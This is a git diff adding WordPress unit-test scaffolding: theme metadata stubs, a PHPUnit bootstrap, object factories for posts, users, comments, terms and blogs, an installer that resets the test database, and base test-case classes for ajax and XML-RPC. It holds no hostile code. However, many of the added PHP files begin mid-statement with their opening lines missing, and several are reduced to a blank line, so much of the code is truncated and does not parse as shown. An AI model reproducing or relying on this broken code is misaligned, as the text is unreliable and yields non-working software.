diff --git a/tests/data/themedir1/stylesheetonly/style.css b/tests/data/themedir1/stylesheetonly/style.css
new file mode 100644
index 0000000000..f3f7585b8e
--- /dev/null
+++ b/tests/data/themedir1/stylesheetonly/style.css
@@ -0,0 +1,14 @@
+/*
+Theme Name: Stylesheet Only
+Theme URI: http://www.example.com/blog/
+Description: A three-column widget-ready theme in dark blue.
+Version: 1.0
+Author: Henry Crun
+Author URI: http://www.example.com/
+
+template: sandbox
+
+
+ This is a dummy theme for testing the above metadata.
+*/
+
diff --git a/tests/data/themedir1/subdir/theme with spaces/index.php b/tests/data/themedir1/subdir/theme with spaces/index.php
new file mode 100644
index 0000000000..b3d9bbc7f3
--- /dev/null
+++ b/tests/data/themedir1/subdir/theme with spaces/index.php
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/tests/data/themedir1/subdir/theme2/index.php b/tests/data/themedir1/subdir/theme2/index.php
new file mode 100644
index 0000000000..15c5adc7fa
--- /dev/null
+++ b/tests/data/themedir1/subdir/theme2/index.php
@@ -0,0 +1,3 @@
+
\ No newline at end of file
diff --git a/tests/data/themedir1/subdir/theme2/style.css b/tests/data/themedir1/subdir/theme2/style.css
new file mode 100644
index 0000000000..5abb800aa7
--- /dev/null
+++ b/tests/data/themedir1/subdir/theme2/style.css
@@ -0,0 +1,11 @@
+/*
+Theme Name: My Subdir Theme
+Theme URI: http://example.org/
+Description: An example theme in a sub directory
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
\ No newline at end of file
diff --git a/tests/data/themedir1/theme1-dupe/functions.php b/tests/data/themedir1/theme1-dupe/functions.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/theme1-dupe/functions.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/theme1-dupe/index.php b/tests/data/themedir1/theme1-dupe/index.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/theme1-dupe/index.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/theme1-dupe/style.css b/tests/data/themedir1/theme1-dupe/style.css
new file mode 100644
index 0000000000..193572bedb
--- /dev/null
+++ b/tests/data/themedir1/theme1-dupe/style.css
@@ -0,0 +1,17 @@
+/*
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: This theme has the same Theme Name as theme1
+Version: 1.4
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+ Kubrick v1.5
+ http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
diff --git a/tests/data/themedir1/theme1/functions.php b/tests/data/themedir1/theme1/functions.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/theme1/functions.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/theme1/index.php b/tests/data/themedir1/theme1/index.php
new file mode 100644
index 0000000000..1c8413d3a1
--- /dev/null
+++ b/tests/data/themedir1/theme1/index.php
@@ -0,0 +1,7 @@
+
diff --git a/tests/data/themedir1/theme1/style.css b/tests/data/themedir1/theme1/style.css
new file mode 100644
index 0000000000..f0d8cb780e
--- /dev/null
+++ b/tests/data/themedir1/theme1/style.css
@@ -0,0 +1,17 @@
+/*
+Theme Name: My Theme
+Theme URI: http://example.org/
+Description: An example theme
+Version: 1.3
+Author: Minnie Bannister
+Author URI: http://example.com/
+
+ Kubrick v1.5
+ http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+
diff --git a/tests/includes/bootstrap.php b/tests/includes/bootstrap.php
new file mode 100644
index 0000000000..b32409986a
--- /dev/null
+++ b/tests/includes/bootstrap.php
@@ -0,0 +1,136 @@
+longOptions )
+ );
+ $ajax_message = true;
+ foreach ( $options[0] as $option ) {
+ switch ( $option[0] ) {
+ case '--exclude-group' :
+ $ajax_message = false;
+ continue 2;
+ case '--group' :
+ $groups = explode( ',', $option[1] );
+ foreach ( $groups as $group ) {
+ if ( is_numeric( $group ) || preg_match( '/^(UT|Plugin)\d+$/', $group ) )
+ WP_UnitTestCase::forceTicket( $group );
+ }
+ $ajax_message = ! in_array( 'ajax', $groups );
+ continue 2;
+ }
+ }
+ if ( $ajax_message )
+ echo "Not running ajax tests... To execute these, use --group ajax." . PHP_EOL;
+ }
+}
+new WP_PHPUnit_TextUI_Command( $_SERVER['argv'] );
diff --git a/tests/includes/exceptions.php b/tests/includes/exceptions.php
new file mode 100644
index 0000000000..50976fb0b3
--- /dev/null
+++ b/tests/includes/exceptions.php
@@ -0,0 +1,33 @@
+post = new WP_UnitTest_Factory_For_Post( $this );
+ $this->attachment = new WP_UnitTest_Factory_For_Attachment( $this );
+ $this->comment = new WP_UnitTest_Factory_For_Comment( $this );
+ $this->user = new WP_UnitTest_Factory_For_User( $this );
+ $this->term = new WP_UnitTest_Factory_For_Term( $this );
+ $this->category = new WP_UnitTest_Factory_For_Term( $this, 'category' );
+ $this->tag = new WP_UnitTest_Factory_For_Term( $this, 'post_tag' );
+ if ( is_multisite() )
+ $this->blog = new WP_UnitTest_Factory_For_Blog( $this );
+ }
+}
+
+class WP_UnitTest_Factory_For_Post extends WP_UnitTest_Factory_For_Thing {
+
+ function __construct( $factory = null ) {
+ parent::__construct( $factory );
+ $this->default_generation_definitions = array(
+ 'post_status' => 'publish',
+ 'post_title' => new WP_UnitTest_Generator_Sequence( 'Post title %s' ),
+ 'post_content' => new WP_UnitTest_Generator_Sequence( 'Post content %s' ),
+ 'post_excerpt' => new WP_UnitTest_Generator_Sequence( 'Post excerpt %s' ),
+ 'post_type' => 'post'
+ );
+ }
+
+ function create_object( $args ) {
+ return wp_insert_post( $args );
+ }
+
+ function update_object( $post_id, $fields ) {
+ $fields['ID'] = $post_id;
+ return wp_update_post( $fields );
+ }
+
+ function get_object_by_id( $post_id ) {
+ return get_post( $post_id );
+ }
+}
+
+class WP_UnitTest_Factory_For_Attachment extends WP_UnitTest_Factory_For_Post {
+
+ function create_object( $file, $parent = 0, $args = array() ) {
+ return wp_insert_attachment( $args, $file, $parent );
+ }
+}
+
+class WP_UnitTest_Factory_For_User extends WP_UnitTest_Factory_For_Thing {
+
+ function __construct( $factory = null ) {
+ parent::__construct( $factory );
+ $this->default_generation_definitions = array(
+ 'user_login' => new WP_UnitTest_Generator_Sequence( 'User %s' ),
+ 'user_pass' => 'password',
+ 'user_email' => new WP_UnitTest_Generator_Sequence( 'user_%s@example.org' ),
+ );
+ }
+
+ function create_object( $args ) {
+ return wp_insert_user( $args );
+ }
+
+ function update_object( $user_id, $fields ) {
+ $fields['ID'] = $user_id;
+ return wp_update_user( $fields );
+ }
+
+ function get_object_by_id( $user_id ) {
+ return new WP_User( $user_id );
+ }
+}
+
+class WP_UnitTest_Factory_For_Comment extends WP_UnitTest_Factory_For_Thing {
+
+ function __construct( $factory = null ) {
+ parent::__construct( $factory );
+ $this->default_generation_definitions = array(
+ 'comment_author' => new WP_UnitTest_Generator_Sequence( 'Commenter %s' ),
+ 'comment_author_url' => new WP_UnitTest_Generator_Sequence( 'http://example.com/%s/' ),
+ 'comment_approved' => 1,
+ );
+ }
+
+ function create_object( $args ) {
+ return wp_insert_comment( $this->addslashes_deep( $args ) );
+ }
+
+ function update_object( $comment_id, $fields ) {
+ $fields['comment_ID'] = $comment_id;
+ return wp_update_comment( $this->addslashes_deep( $fields ) );
+ }
+
+ function create_post_comments( $post_id, $count = 1, $args = array(), $generation_definitions = null ) {
+ $args['comment_post_ID'] = $post_id;
+ return $this->create_many( $count, $args, $generation_definitions );
+ }
+
+ function get_object_by_id( $comment_id ) {
+ return get_comment( $comment_id );
+ }
+}
+
+class WP_UnitTest_Factory_For_Blog extends WP_UnitTest_Factory_For_Thing {
+
+ function __construct( $factory = null ) {
+ global $current_site, $base;
+ parent::__construct( $factory );
+ $this->default_generation_definitions = array(
+ 'domain' => $current_site->domain,
+ 'path' => new WP_UnitTest_Generator_Sequence( $base . 'testpath%s' ),
+ 'title' => new WP_UnitTest_Generator_Sequence( 'Site %s' ),
+ 'site_id' => $current_site->id,
+ );
+ }
+
+ function create_object( $args ) {
+ $meta = isset( $args['meta'] ) ? $args['meta'] : array();
+ $user_id = isset( $args['user_id'] ) ? $args['user_id'] : get_current_user_id();
+ return wpmu_create_blog( $args['domain'], $args['path'], $args['title'], $user_id, $meta, $args['site_id'] );
+ }
+
+ function update_object( $blog_id, $fields ) {}
+
+ function get_object_by_id( $blog_id ) {
+ return get_blog_details( $blog_id, false );
+ }
+}
+
+
+class WP_UnitTest_Factory_For_Term extends WP_UnitTest_Factory_For_Thing {
+
+ private $taxonomy;
+ const DEFAULT_TAXONOMY = 'post_tag';
+
+ function __construct( $factory = null, $taxonomy = null ) {
+ parent::__construct( $factory );
+ $this->taxonomy = $taxonomy ? $taxonomy : self::DEFAULT_TAXONOMY;
+ $this->default_generation_definitions = array(
+ 'name' => new WP_UnitTest_Generator_Sequence( 'Term %s' ),
+ 'taxonomy' => $this->taxonomy,
+ 'description' => new WP_UnitTest_Generator_Sequence( 'Term description %s' ),
+ );
+ }
+
+ function create_object( $args ) {
+ $args = array_merge( array( 'taxonomy' => $this->taxonomy ), $args );
+ $term_id_pair = wp_insert_term( $args['name'], $args['taxonomy'], $args );
+ if ( is_wp_error( $term_id_pair ) )
+ return $term_id_pair;
+ return $term_id_pair['term_id'];
+ }
+
+ function update_object( $term, $fields ) {
+ $fields = array_merge( array( 'taxonomy' => $this->taxonomy ), $fields );
+ if ( is_object( $term ) )
+ $taxonomy = $term->taxonomy;
+ $term_id_pair = wp_update_term( $term, $taxonomy, $fields );
+ return $term_id_pair['term_id'];
+ }
+
+ function add_post_terms( $post_id, $terms, $taxonomy, $append = true ) {
+ return wp_set_post_terms( $post_id, $terms, $taxonomy, $append );
+ }
+
+ function get_object_by_id( $term_id ) {
+ return get_term( $term_id, $this->taxonomy );
+ }
+}
+
+abstract class WP_UnitTest_Factory_For_Thing {
+
+ var $default_generation_definitions;
+ var $factory;
+
+ /**
+ * Creates a new factory, which will create objects of a specific Thing
+ *
+ * @param object $factory Global factory that can be used to create other objects on the system
+ * @param array $default_generation_definitions Defines what default values should the properties of the object have. The default values
+ * can be generators -- an object with next() method. There are some default generators: {@link WP_UnitTest_Generator_Sequence},
+ * {@link WP_UnitTest_Generator_Locale_Name}, {@link WP_UnitTest_Factory_Callback_After_Create}.
+ */
+ function __construct( $factory, $default_generation_definitions = array() ) {
+ $this->factory = $factory;
+ $this->default_generation_definitions = $default_generation_definitions;
+ }
+
+ abstract function create_object( $args );
+ abstract function update_object( $object, $fields );
+
+ function create( $args = array(), $generation_definitions = null ) {
+ if ( is_null( $generation_definitions ) )
+ $generation_definitions = $this->default_generation_definitions;
+
+ $generated_args = $this->generate_args( $args, $generation_definitions, $callbacks );
+ $created = $this->create_object( $generated_args );
+ if ( !$created || is_wp_error( $created ) )
+ return $created;
+
+ if ( $callbacks ) {
+ $updated_fields = $this->apply_callbacks( $callbacks, $created );
+ $save_result = $this->update_object( $created, $updated_fields );
+ if ( !$save_result || is_wp_error( $save_result ) )
+ return $save_result;
+ }
+ return $created;
+ }
+
+ function create_and_get( $args = array(), $generation_definitions = null ) {
+ $object_id = $this->create( $args, $generation_definitions );
+ return $this->get_object_by_id( $object_id );
+ }
+
+ abstract function get_object_by_id( $object_id );
+
+ function create_many( $count, $args = array(), $generation_definitions = null ) {
+ $results = array();
+ for ( $i = 0; $i < $count; $i++ ) {
+ $results[] = $this->create( $args, $generation_definitions );
+ }
+ return $results;
+ }
+
+ function generate_args( $args = array(), $generation_definitions = null, &$callbacks = null ) {
+ $callbacks = array();
+ if ( is_null( $generation_definitions ) )
+ $generation_definitions = $this->default_generation_definitions;
+
+ foreach( array_keys( $generation_definitions ) as $field_name ) {
+ if ( !isset( $args[$field_name] ) ) {
+ $generator = $generation_definitions[$field_name];
+ if ( is_scalar( $generator ) )
+ $args[$field_name] = $generator;
+ elseif ( is_object( $generator ) && method_exists( $generator, 'call' ) ) {
+ $callbacks[$field_name] = $generator;
+ } elseif ( is_object( $generator ) )
+ $args[$field_name] = $generator->next();
+ else
+ return new WP_Error( 'invalid_argument', 'Factory default value should be either a scalar or an generator object.' );
+ }
+ }
+ return $args;
+ }
+
+ function apply_callbacks( $callbacks, $created ) {
+ $updated_fields = array();
+ foreach( $callbacks as $field_name => $generator ) {
+ $updated_fields[$field_name] = $generator->call( $created );
+ }
+ return $updated_fields;
+ }
+
+ function callback( $function ) {
+ return new WP_UnitTest_Factory_Callback_After_Create( $function );
+ }
+
+ function addslashes_deep($value) {
+ if ( is_array( $value ) ) {
+ $value = array_map( array( $this, 'addslashes_deep' ), $value );
+ } elseif ( is_object( $value ) ) {
+ $vars = get_object_vars( $value );
+ foreach ($vars as $key=>$data) {
+ $value->{$key} = $this->addslashes_deep( $data );
+ }
+ } elseif ( is_string( $value ) ) {
+ $value = addslashes( $value );
+ }
+
+ return $value;
+ }
+
+}
+
+class WP_UnitTest_Generator_Sequence {
+ var $next;
+ var $template_string;
+
+ function __construct( $template_string = '%s', $start = 1 ) {
+ $this->next = $start;
+ $this->template_string = $template_string;
+ }
+
+ function next() {
+ $generated = sprintf( $this->template_string , $this->next );
+ $this->next++;
+ return $generated;
+ }
+}
+
+class WP_UnitTest_Factory_Callback_After_Create {
+ var $callback;
+
+ function __construct( $callback ) {
+ $this->callback = $callback;
+ }
+
+ function call( $object ) {
+ return call_user_func( $this->callback, $object );
+ }
+}
diff --git a/tests/includes/functions.php b/tests/includes/functions.php
new file mode 100644
index 0000000000..5759d530c9
--- /dev/null
+++ b/tests/includes/functions.php
@@ -0,0 +1,44 @@
+ $function_to_add, 'accepted_args' => $accepted_args);
+ unset( $merged_filters[ $tag ] );
+ return true;
+}
+
+function _test_filter_build_unique_id($tag, $function, $priority) {
+ global $wp_filter;
+ static $filter_id_count = 0;
+
+ if ( is_string($function) )
+ return $function;
+
+ if ( is_object($function) ) {
+ // Closures are currently implemented as objects
+ $function = array( $function, '' );
+ } else {
+ $function = (array) $function;
+ }
+
+ if (is_object($function[0]) ) {
+ return spl_object_hash($function[0]) . $function[1];
+ } else if ( is_string($function[0]) ) {
+ // Static Calling
+ return $function[0].$function[1];
+ }
+}
+
+function _delete_all_posts() {
+ global $wpdb;
+
+ $all_posts = $wpdb->get_col("SELECT ID from {$wpdb->posts}");
+ if ($all_posts) {
+ foreach ($all_posts as $id)
+ wp_delete_post( $id, true );
+ }
+}
+
diff --git a/tests/includes/install.php b/tests/includes/install.php
new file mode 100644
index 0000000000..63de9d2185
--- /dev/null
+++ b/tests/includes/install.php
@@ -0,0 +1,67 @@
+suppress_errors();
+$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
+$wpdb->suppress_errors( false );
+
+$hash = get_option( 'db_version' ) . ' ' . (int) $multisite . ' ' . sha1_file( $config_file_path );
+
+if ( $installed && file_exists( WP_TESTS_VERSION_FILE ) && file_get_contents( WP_TESTS_VERSION_FILE ) == $hash )
+ return;
+
+$wpdb->query( 'SET storage_engine = INNODB' );
+$wpdb->select( DB_NAME, $wpdb->dbh );
+
+echo "Installing..." . PHP_EOL;
+
+foreach ( $wpdb->tables() as $table => $prefixed_table ) {
+ $wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+}
+
+foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
+ $wpdb->query( "DROP TABLE IF EXISTS $prefixed_table" );
+
+ // We need to create references to ms global tables.
+ if ( $multisite )
+ $wpdb->$table = $prefixed_table;
+}
+
+wp_install( WP_TESTS_TITLE, 'admin', WP_TESTS_EMAIL, true, null, 'password' );
+
+if ( $multisite ) {
+ echo "Installing network..." . PHP_EOL;
+
+ define( 'WP_INSTALLING_NETWORK', true );
+
+ $title = WP_TESTS_TITLE . ' Network';
+ $subdomain_install = false;
+
+ install_network();
+ populate_network( 1, WP_TESTS_DOMAIN, WP_TESTS_EMAIL, $title, '/', $subdomain_install );
+}
+
+file_put_contents( WP_TESTS_VERSION_FILE, $hash );
diff --git a/tests/includes/mock-image-editor.php b/tests/includes/mock-image-editor.php
new file mode 100644
index 0000000000..2d8164e5c9
--- /dev/null
+++ b/tests/includes/mock-image-editor.php
@@ -0,0 +1,43 @@
+PreSend() )
+ return false;
+
+ $this->mock_sent[] = array(
+ 'to' => $this->to,
+ 'cc' => $this->cc,
+ 'bcc' => $this->bcc,
+ 'header' => $this->MIMEHeader,
+ 'body' => $this->MIMEBody,
+ );
+
+ return true;
+ } catch ( phpmailerException $e ) {
+ return false;
+ }
+ }
+}
diff --git a/tests/includes/testcase-ajax.php b/tests/includes/testcase-ajax.php
new file mode 100644
index 0000000000..fcceacc42b
--- /dev/null
+++ b/tests/includes/testcase-ajax.php
@@ -0,0 +1,182 @@
+_core_actions_get, $this->_core_actions_post ) as $action )
+ if ( function_exists( 'wp_ajax_' . str_replace( '-', '_', $action ) ) )
+ add_action( 'wp_ajax_' . $action, 'wp_ajax_' . str_replace( '-', '_', $action ), 1 );
+
+ add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+ if ( !defined( 'DOING_AJAX' ) )
+ define( 'DOING_AJAX', true );
+ set_current_screen( 'ajax' );
+
+ // Clear logout cookies
+ add_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+
+ // Suppress warnings from "Cannot modify header information - headers already sent by"
+ $this->_error_level = error_reporting();
+ error_reporting( $this->_error_level & ~E_WARNING );
+
+ // Make some posts
+ $this->factory->post->create_many( 5 );
+ }
+
+ /**
+ * Tear down the test fixture.
+ * Reset $_POST, remove the wp_die() override, restore error reporting
+ */
+ public function tearDown() {
+ parent::tearDown();
+ $_POST = array();
+ $_GET = array();
+ unset( $GLOBALS['post'] );
+ unset( $GLOBALS['comment'] );
+ remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+ remove_action( 'clear_auth_cookie', array( $this, 'logout' ) );
+ error_reporting( $this->_error_level );
+ set_current_screen( 'front' );
+ }
+
+ /**
+ * Clear login cookies, unset the current user
+ */
+ public function logout() {
+ unset( $GLOBALS['current_user'] );
+ $cookies = array(AUTH_COOKIE, SECURE_AUTH_COOKIE, LOGGED_IN_COOKIE, USER_COOKIE, PASS_COOKIE);
+ foreach ( $cookies as $c )
+ unset( $_COOKIE[$c] );
+ }
+
+ /**
+ * Return our callback handler
+ * @return callback
+ */
+ public function getDieHandler() {
+ return array( $this, 'dieHandler' );
+ }
+
+ /**
+ * Handler for wp_die()
+ * Save the output for analysis, stop execution by throwing an exception.
+ * Error conditions (no output, just die) will throw WPAjaxDieStopException( $message )
+ * You can test for this with:
+ *
+ * $this->setExpectedException( 'WPAjaxDieStopException', 'something contained in $message' );
+ *
+ * Normal program termination (wp_die called at then end of output) will throw WPAjaxDieContinueException( $message )
+ * You can test for this with:
+ *
+ * $this->setExpectedException( 'WPAjaxDieContinueException', 'something contained in $message' );
+ *
+ * @param string $message
+ */
+ public function dieHandler( $message ) {
+ $this->_last_response .= ob_get_clean();
+ ob_end_clean();
+ if ( '' === $this->_last_response ) {
+ if ( is_scalar( $message) ) {
+ throw new WPAjaxDieStopException( (string) $message );
+ } else {
+ throw new WPAjaxDieStopException( '0' );
+ }
+ } else {
+ throw new WPAjaxDieContinueException( $message );
+ }
+ }
+
+ /**
+ * Switch between user roles
+ * E.g. administrator, editor, author, contributor, subscriber
+ * @param string $role
+ */
+ protected function _setRole( $role ) {
+ $post = $_POST;
+ $user_id = $this->factory->user->create( array( 'role' => $role ) );
+ wp_set_current_user( $user_id );
+ $_POST = array_merge($_POST, $post);
+ }
+
+ /**
+ * Mimic the ajax handling of admin-ajax.php
+ * Capture the output via output buffering, and if there is any, store
+ * it in $this->_last_message.
+ * @param string $action
+ */
+ protected function _handleAjax($action) {
+
+ // Start output buffering
+ ini_set( 'implicit_flush', false );
+ ob_start();
+
+ // Build the request
+ $_POST['action'] = $action;
+ $_GET['action'] = $action;
+ $_REQUEST = array_merge( $_POST, $_GET );
+
+ // Call the hooks
+ do_action( 'admin_init' );
+ do_action( 'wp_ajax_' . $_REQUEST['action'], null );
+
+ // Save the output
+ $buffer = ob_get_clean();
+ if ( !empty( $buffer ) )
+ $this->_last_response = $buffer;
+ }
+}
diff --git a/tests/includes/testcase-xmlrpc.php b/tests/includes/testcase-xmlrpc.php
new file mode 100644
index 0000000000..e82c5e134e
--- /dev/null
+++ b/tests/includes/testcase-xmlrpc.php
@@ -0,0 +1,30 @@
+myxmlrpcserver = new wp_xmlrpc_server();
+ }
+
+ function tearDown() {
+ remove_filter( 'pre_option_enable_xmlrpc', '__return_true' );
+
+ parent::tearDown();
+ }
+
+ protected function make_user_by_role( $role ) {
+ return $this->factory->user->create( array(
+ 'user_login' => $role,
+ 'user_pass' => $role,
+ 'role' => $role
+ ));
+ }
+}
diff --git a/tests/includes/testcase.php b/tests/includes/testcase.php
new file mode 100644
index 0000000000..a4e3337c82
--- /dev/null
+++ b/tests/includes/testcase.php
@@ -0,0 +1,227 @@
+suppress_errors = false;
+ $wpdb->show_errors = true;
+ $wpdb->db_connect();
+ ini_set('display_errors', 1 );
+ $this->factory = new WP_UnitTest_Factory;
+ $this->clean_up_global_scope();
+ $this->start_transaction();
+ add_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+ }
+
+ function tearDown() {
+ global $wpdb;
+ $wpdb->query( 'ROLLBACK' );
+ remove_filter( 'dbdelta_create_queries', array( $this, '_create_temporary_tables' ) );
+ remove_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+ remove_filter( 'wp_die_handler', array( $this, 'get_wp_die_handler' ) );
+ }
+
+ function clean_up_global_scope() {
+ $_GET = array();
+ $_POST = array();
+ $this->flush_cache();
+ }
+
+ function flush_cache() {
+ global $wp_object_cache;
+ $wp_object_cache->group_ops = array();
+ $wp_object_cache->stats = array();
+ $wp_object_cache->memcache_debug = array();
+ $wp_object_cache->cache = array();
+ if ( method_exists( $wp_object_cache, '__remoteset' ) ) {
+ $wp_object_cache->__remoteset();
+ }
+ wp_cache_flush();
+ wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) );
+ wp_cache_add_non_persistent_groups( array( 'comment', 'counts', 'plugins' ) );
+ }
+
+ function start_transaction() {
+ global $wpdb;
+ $wpdb->query( 'SET autocommit = 0;' );
+ $wpdb->query( 'START TRANSACTION;' );
+ add_filter( 'dbdelta_create_queries', array( $this, '_create_temporary_tables' ) );
+ add_filter( 'query', array( $this, '_drop_temporary_tables' ) );
+ }
+
+ function _create_temporary_tables( $queries ) {
+ return str_replace( 'CREATE TABLE', 'CREATE TEMPORARY TABLE', $queries );
+ }
+
+ function _drop_temporary_tables( $query ) {
+ if ( 'DROP TABLE' === substr( $query, 0, 10 ) )
+ return 'DROP TEMPORARY TABLE ' . substr( $query, 10 );
+ return $query;
+ }
+
+ function get_wp_die_handler( $handler ) {
+ return array( $this, 'wp_die_handler' );
+ }
+
+ function wp_die_handler( $message ) {
+ throw new WPDieException( $message );
+ }
+
+ function assertWPError( $actual, $message = '' ) {
+ $this->assertInstanceOf( 'WP_Error', $actual, $message );
+ }
+
+ function assertEqualFields( $object, $fields ) {
+ foreach( $fields as $field_name => $field_value ) {
+ if ( $object->$field_name != $field_value ) {
+ $this->fail();
+ }
+ }
+ }
+
+ function assertDiscardWhitespace( $expected, $actual ) {
+ $this->assertEquals( preg_replace( '/\s*/', '', $expected ), preg_replace( '/\s*/', '', $actual ) );
+ }
+
+ function assertEqualSets( $expected, $actual ) {
+ $this->assertEquals( array(), array_diff( $expected, $actual ) );
+ $this->assertEquals( array(), array_diff( $actual, $expected ) );
+ }
+
+ function go_to( $url ) {
+ // note: the WP and WP_Query classes like to silently fetch parameters
+ // from all over the place (globals, GET, etc), which makes it tricky
+ // to run them more than once without very carefully clearing everything
+ $_GET = $_POST = array();
+ foreach (array('query_string', 'id', 'postdata', 'authordata', 'day', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages', 'pagenow') as $v) {
+ if ( isset( $GLOBALS[$v] ) ) unset( $GLOBALS[$v] );
+ }
+ $parts = parse_url($url);
+ if (isset($parts['scheme'])) {
+ $req = $parts['path'];
+ if (isset($parts['query'])) {
+ $req .= '?' . $parts['query'];
+ // parse the url query vars into $_GET
+ parse_str($parts['query'], $_GET);
+ }
+ } else {
+ $req = $url;
+ }
+ if ( ! isset( $parts['query'] ) ) {
+ $parts['query'] = '';
+ }
+
+ $_SERVER['REQUEST_URI'] = $req;
+ unset($_SERVER['PATH_INFO']);
+
+ $this->flush_cache();
+ unset($GLOBALS['wp_query'], $GLOBALS['wp_the_query']);
+ $GLOBALS['wp_the_query'] =& new WP_Query();
+ $GLOBALS['wp_query'] =& $GLOBALS['wp_the_query'];
+ $GLOBALS['wp'] =& new WP();
+
+ // clean out globals to stop them polluting wp and wp_query
+ foreach ($GLOBALS['wp']->public_query_vars as $v) {
+ unset($GLOBALS[$v]);
+ }
+ foreach ($GLOBALS['wp']->private_query_vars as $v) {
+ unset($GLOBALS[$v]);
+ }
+
+ $GLOBALS['wp']->main($parts['query']);
+ }
+
+ protected function checkRequirements() {
+ parent::checkRequirements();
+ if ( WP_TESTS_FORCE_KNOWN_BUGS )
+ return;
+ $tickets = PHPUnit_Util_Test::getTickets( get_class( $this ), $this->getName( false ) );
+ foreach ( $tickets as $ticket ) {
+ if ( is_numeric( $ticket ) ) {
+ $this->knownWPBug( $ticket );
+ } elseif ( 'UT' == substr( $ticket, 0, 2 ) ) {
+ $ticket = substr( $ticket, 2 );
+ if ( $ticket && is_numeric( $ticket ) )
+ $this->knownUTBug( $ticket );
+ } elseif ( 'Plugin' == substr( $ticket, 0, 6 ) ) {
+ $ticket = substr( $ticket, 6 );
+ if ( $ticket && is_numeric( $ticket ) )
+ $this->knownPluginBug( $ticket );
+ }
+ }
+ }
+
+ /**
+ * Skips the current test if there is an open WordPress ticket with id $ticket_id
+ */
+ function knownWPBug( $ticket_id ) {
+ if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( $ticket_id, self::$forced_tickets ) )
+ return;
+ if ( ! TracTickets::isTracTicketClosed( 'http://core.trac.wordpress.org', $ticket_id ) )
+ $this->markTestSkipped( sprintf( 'WordPress Ticket #%d is not fixed', $ticket_id ) );
+ }
+
+ /**
+ * Skips the current test if there is an open unit tests ticket with id $ticket_id
+ */
+ function knownUTBug( $ticket_id ) {
+ if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'UT' . $ticket_id, self::$forced_tickets ) )
+ return;
+ if ( ! TracTickets::isTracTicketClosed( 'http://unit-tests.trac.wordpress.org', $ticket_id ) )
+ $this->markTestSkipped( sprintf( 'Unit Tests Ticket #%d is not fixed', $ticket_id ) );
+ }
+
+ /**
+ * Skips the current test if there is an open plugin ticket with id $ticket_id
+ */
+ function knownPluginBug( $ticket_id ) {
+ if ( WP_TESTS_FORCE_KNOWN_BUGS || in_array( 'Plugin' . $ticket_id, self::$forced_tickets ) )
+ return;
+ if ( ! TracTickets::isTracTicketClosed( 'http://plugins.trac.wordpress.org', $ticket_id ) )
+ $this->markTestSkipped( sprintf( 'WordPress Plugin Ticket #%d is not fixed', $ticket_id ) );
+ }
+
+ public static function forceTicket( $ticket ) {
+ self::$forced_tickets[] = $ticket;
+ }
+
+ /**
+ * Define constants after including files.
+ */
+ function prepareTemplate( $template ) {
+ $template->setVar( array( 'constants' => '' ) );
+ $template->setVar( array( 'wp_constants' => PHPUnit_Util_GlobalState::getConstantsAsString() ) );
+ parent::prepareTemplate( $template );
+ }
+
+ /**
+ * Returns the name of a temporary file
+ */
+ function temp_filename() {
+ $tmp_dir = '';
+ $dirs = array( 'TMP', 'TMPDIR', 'TEMP' );
+ foreach( $dirs as $dir )
+ if ( isset( $_ENV[$dir] ) && !empty( $_ENV[$dir] ) ) {
+ $tmp_dir = $dir;
+ break;
+ }
+ if ( empty( $tmp_dir ) ) {
+ $tmp_dir = '/tmp';
+ }
+ $tmp_dir = realpath( $dir );
+ return tempnam( $tmp_dir, 'wpunit' );
+ }
+}
diff --git a/tests/includes/trac.php b/tests/includes/trac.php
new file mode 100644
index 0000000000..70b56a0a13
--- /dev/null
+++ b/tests/includes/trac.php
@@ -0,0 +1,54 @@
+reset();
+ $this->debug = $debug;
+ }
+
+ function reset() {
+ $this->events = array();
+ }
+
+ function current_filter() {
+ if (is_callable('current_filter'))
+ return current_filter();
+ global $wp_actions;
+ return end($wp_actions);
+ }
+
+ function action($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+ $args = func_get_args();
+ $this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+ return $arg;
+ }
+
+ function action2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+ $args = func_get_args();
+ $this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+ return $arg;
+ }
+
+ function filter($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+ $args = func_get_args();
+ $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+ return $arg;
+ }
+
+ function filter2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+ $args = func_get_args();
+ $this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+ return $arg;
+ }
+
